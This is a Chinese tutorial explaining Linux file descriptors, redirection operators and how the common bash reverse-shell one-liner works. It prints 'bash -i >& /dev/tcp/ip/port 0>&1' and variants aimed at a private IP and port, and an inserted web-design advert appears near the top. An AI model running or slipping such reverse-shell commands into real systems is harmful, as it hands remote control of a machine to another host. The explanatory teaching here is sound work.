如何理解Linux重定向及反弹shell
如何理解Linux重定向及反弹shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
创新互联建站自2013年起,是专业互联网技术服务公司,拥有项目做网站、成都做网站网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元泉山做网站,已为上家服务,为泉山各地企业和个人服务,联系电话:13518219792
这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell
0x01 文件描述符
Linux的文件描述符有以下三种
标准输入:0
标准输出:1
错误输出:2
对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作
0x02 重定向
重定向主要分为以下两种
输入重定向 <、<<
输出重定向 >、>>
通过下面的两张图就可以很明白的看出来他们的用途了
我们也可以把错误的内容重定向到另一个文件中的
下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中
其实这里的&符号是为了区分文件跟文件描述符的,如果这里没有&符号,系统会把它理解为文件,而不是标准输出
0x03 反弹shell
下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释
bash -i >& /dev/tcp/ip/port 0>&1
解释
bash -i
表示创建一个交互式的shell,可以在帮助文档中看到
/dev/tcp/ip/port
实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信
0>&1
将标准输入和标准输出重定向到指定的文件中
如果把这条命令改成2>&1可能会更容易理解一点
如果理解了上面这个的话,对于这个就很容易理解了
>&
将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机
理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情
在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333,从而形成了一个回路
可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的
同样的,我们将 0>&1 变为 0>&2 是一样的效果
至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。
看完上述内容,你们掌握如何理解Linux重定向及反弹shell的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注创新互联行业资讯频道,感谢各位的阅读!
分享题目:如何理解Linux重定向及反弹shell
网页网址:http://scyanting.com/article/iighco.html